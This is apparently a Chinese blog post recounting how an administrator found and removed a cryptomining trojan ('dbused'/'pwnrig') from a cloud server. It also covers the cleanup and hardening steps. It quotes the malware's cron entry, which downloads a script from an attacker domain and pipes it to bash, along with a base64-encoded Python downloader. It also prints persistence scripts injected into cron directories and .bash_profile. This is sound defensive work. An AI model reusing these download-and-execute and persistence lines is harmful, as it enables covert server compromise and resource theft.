發現問題
某雲服務器上,接連收到多個警報,示例如下:
綜合起來,問題主要集中在以下文件:
/usr/bin/dbused (deleted)
/tmp/x64b (deleted)
/tmp/x64b
/tmp/.dbusex/dbusex
我登陸到服務器控制台一看,CPU使用一直在接近100%的狀態。回想了一下,后台沒有運行什么大量消耗CPU的任務,估計是中了木馬。
初步篩查
使用top
查看,發現問題進程如下:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
14167 root 20 0 305000 6544 0 S 99.0 0.3 11:52.84 dbused
這個 14167
進程,運行了 dbused
命令,使用CPU達到99%,因為是單核CPU,也就是說它一個人霸占了所有CPU資源。幾乎可以肯定罪魁禍首就是它了。
嘗試1
於是,我嘗試殺掉這個進程:kill -9 14167
,但是馬上又有一個新的起來了。
所以,除了這個“挖礦”進程之外,肯定還有一個“監工”進程,負責重啟“挖礦”進程。
嘗試2
我又想到,如果我把這個程序文件刪了,它不就重啟不起來了嗎?於是,第二個思路是找到其對應的文件,嘗試刪除:ls -l /proc/14167/exe
,結果如下:
lrwxrwxrwx 1 root root 0 Nov 13 16:25 /proc/14167/exe -> '/usr/bin/dbused (deleted)'
嘗試 delete 失敗,因為在 /usr/bin
下面,沒有 dbused
這個文件。(至於為什么后面會講到。)
嘗試3
兩次嘗試失敗,有些氣餒,不過沒關系。我們把能做的先做了。
進入 /tmp
目錄下面,把 x64b
, dbusex
等文件都刪了,然后把這個目錄下沒用的 或者 可疑的東西都清理干凈。
這么做的原因有三個:
1.一開始的服務器報警里面提到了這個目錄,非常可疑。
2.我看了一下x64b
等文件的內容,非常像挖礦程序產生的中間文件(諸如節點信息,log信息等等)。
3.我確定,自己運行的后台程序不會生產這些文件。
把這些中間文件刪了,只能說是出了口惡氣,源頭還是要掐死。
進一步篩查
分析到這里,其實我們大概知道,系統里面有兩個壞人:
- 一個是 挖礦 程序
- 一個是 監工 程序
我們最最關鍵的,是要把那個“監工”的先找出來干掉,否則挖礦的源源不斷。
於是,思路是:檢查定時腳本目錄。
清理定時腳本1
在 /var/spool
目錄下,發現兩個可疑文件:
/var/spool/cron/crontabs/root
/var/spool/cron/root
腳本如下:
* * * * *
(curl -s http://bash.givemexyz.in/xms||wget -q -O - http://bash.givemexyz.in/xms)|bash -sh;
echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei5pbi9kZC5weSIpLnJlYWQoKSkn
| base64 -d | bash -; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms
大概看了一眼,這個腳本會上一個壞網站,去下載一些壞東西,然后運行起來。
最壞的是,把壞服務起好了之后還會把痕跡刪掉。一肚子壞水。
嘗試rm
刪除這兩個文件,報錯:rm: cannot remove 'root': Operation not permitted
。
哼,這能難得倒我們嗎?
先解鎖文件,然后就可以rm
// 查看鎖
lsattr root
// 解鎖
chattr -ia root
// 刪除
rm -rf root
刪除成功,但是過了一會兒又生成了。說明源頭不在這兒。繼續努力。
清理定時腳本2
我們看一下/etc
這個目錄下的文件:ll /etc/cron*
,發現一大推壞東西:
cron.d:
total 24
-rw-r--r--. 1 root root 128 Nov 9 2019 0hourly
-rw-r--r-- 1 root root 339 Nov 12 02:31 apache
-rw-r--r-- 1 root root 108 Nov 13 16:58 nginx
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root 108 Nov 9 2019 raid-check
-rw-r--r-- 1 root root 339 Nov 12 02:31 root
cron.daily:
total 12
-rwxr-xr-x 1 root root 232 Nov 19 2019 exim-tidydb
-rwxr-xr-x. 1 root root 189 Jan 4 2018 logrotate
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
cron.hourly:
total 12
-rwxr-xr-x 1 root root 575 Nov 9 2019 0anacron
-rwxr-xr-x 1 root root 321 Nov 12 02:31 oanacroner1
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
cron.monthly:
total 4
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
cron.weekly:
total 4
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
經過甄別,都是木馬,沒有錯殺。下面挑幾個典型的列舉出來看看:
木馬1
/etc/cron.weekly/pwnrig
代碼如下:
cp -f -r -- /bin/crondr /bin/dbused 2>/dev/null
cd /bin 2>/dev/null
./dbused -c >/dev/null 2>&1
rm -rf -- dbused 2>/dev/null
它會把這個 crondr
文件 copy 到 bin 下重命名為 dbused
,然后運行起來,再刪掉源文件。怪不得當初去找的時候發現文件不存在!
木馬2
/etc/cron.hourly/0anacron
代碼如下:
if test -r /var/spool/anacron/cron.daily; then
day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
exit 0
fi
# Do not run jobs when on battery power
online=1
for psupply in AC ADP0 ; do
sysfile="/sys/class/power_supply/$psupply/online"
if [ -f $sysfile ] ; then
if [ `cat $sysfile 2>/dev/null`x = 1x ]; then
online=1
break
else
online=0
fi
fi
done
if [ $online = 0 ]; then
exit 0
fi
非常貼心地還加了句注釋:Do not run jobs when on battery power。這個應該是輔助性文件。
木馬3
/etc/cron.d
目錄如下:
-rw-r--r--. 1 root root 128 Nov 9 2019 0hourly
-rw-r--r-- 1 root root 339 Nov 12 02:31 apache
-rw-r--r-- 1 root root 108 Nov 13 17:33 nginx
-rwxr-xr-x 1 root root 139 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root 108 Nov 9 2019 raid-check
-rw-r--r-- 1 root root 339 Nov 12 02:31 root
熟悉挖礦的小伙伴應該覺得眼熟吧。
刪除
最終,把這些文件,以及其中提到的其它位置的可疑文件,都統統刪掉!
然后,再把 dbused
進程以及其他可疑進程都殺掉。
做完之后,發現系統占用降下去了,且 dbused
不再重啟,查殺取得階段性勝利!
復查
經過一番折騰,我感覺,這個木馬繁殖性是比較強的。有多個地方都有 監工 腳本,刪了一處,還會有另一處起作用。
所以,一個比較好的做法是,找到所有出現問題的文件,寫一個腳本,然后一起刪。
因為打字畢竟慢,有的時候我剛刪了 A , B 就把 A 重新生成出來了。(Cron job 不就是定時執行的嘛。)
另外,一定要做復查,針對之前的問題程序,再重新掃描一遍系統,看看有沒有漏網之魚。
find / -name "*dbused*"
find / -name "*cron*"
find / -name "*dbusex*"
其實,復查過程中我還發現了好幾個高危的可疑文件,就不列舉出來了,統統干掉!
最后,重啟服務器,然后觀察幾天,如果都沒問題的話,查殺就成功了。
改密碼
最后的最后,問題來了,黑客一開始是怎么把木馬程序放到服務器上的呢?
那肯定是有漏洞啊。
雲端服務器一般都會提供一堆需要額外付費的網絡防護套餐,不差錢的話可以考慮下。
免費的話,我們能做且一定要做的是:
1.先把登錄密碼改了。
2.再把SSH重新搞一遍,把舊的key都作廢。
3.把不用的端口(類似8080,9090之類的)關掉或者限制IP訪問。
后續更新 1
過了幾天,我發現服務器又中招了。。。
分析觀察如下:
- 把之前的步驟走了一遍,並沒有發現新的病毒文件。
- 把木馬進程 kill 掉后,發現它變“弱”了許多,並沒有馬上重啟,而是過了好一會才重啟。
搗鼓了一陣,發現了問題所在:
在~/.bash_profile
中,被注入了病毒代碼:
cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null
所以,每當我正常執行命令(比如起HDFS集群),然后需要讀取.bash_profile
文件的時候,就會同時啟動木馬。(回想一下,服務器高占用時間也正是我上去工作的時間,周末一天閑着反而沒事)
查殺也很簡單,把.bash_profile
文件清理,並將相關文件刪除即可。
后續更新 2
又過了一陣子,我發現在啥也不干的時候,服務器上CPU占用很低,但是內存占用非常高,又分析了一陣,推測應該是病毒沒殺干凈,木馬仍然會部分啟動,占用了很高的內存,但是由於網絡被我關了,后續運算無法進行下去。
需要刪掉的可疑文件如下:
# 1
/etc
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc0.d -> rc.d/rc0.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc1.d -> rc.d/rc1.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc2.d -> rc.d/rc2.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc3.d -> rc.d/rc3.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc4.d -> rc.d/rc4.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc5.d -> rc.d/rc5.d
lrwxrwxrwx 1 root root 10 Nov 9 2019 rc6.d -> rc.d/rc6.d
lrwxrwxrwx 1 root root 13 Feb 5 2020 rc.local -> rc.d/rc.local
# 2
/etc/init.d
-rwxr-xr-x 1 root root 2415 Mar 30 00:27 aegis
-rw-r--r-- 1 root root 18440 Aug 23 2019 functions
-rwxr-xr-x 1 root root 250 Nov 12 02:33 pwnrig
-rw-r--r--. 1 root root 1161 Feb 5 2020 README
# 3
/etc/rc.d
drwxr-xr-x. 2 root root 4096 May 10 21:04 init.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc0.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc1.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc2.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc3.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc4.d
drwxr-xr-x. 2 root root 4096 Mar 30 00:27 rc5.d
drwxr-xr-x. 2 root root 4096 Nov 12 02:33 rc6.d
-rw-r--r--. 1 root root 474 Feb 5 2020 rc.local
其中重點關注pwnrig
,對其做一次全盤掃描查殺。
參考
- 阿里雲ECS清除隱藏的挖礦程序 https://blog.csdn.net/hemin1003/article/details/83268892
- 阿里雲服務器Centos7成為挖礦肉雞被挖礦imWBR1耗盡CPU https://blog.csdn.net/zjcjava/article/details/78881803
- ECS Linux系統CPU異常占用(minerd 、tplink等挖礦進程) https://helpcdn.aliyun.com/knowledge_detail/41206.html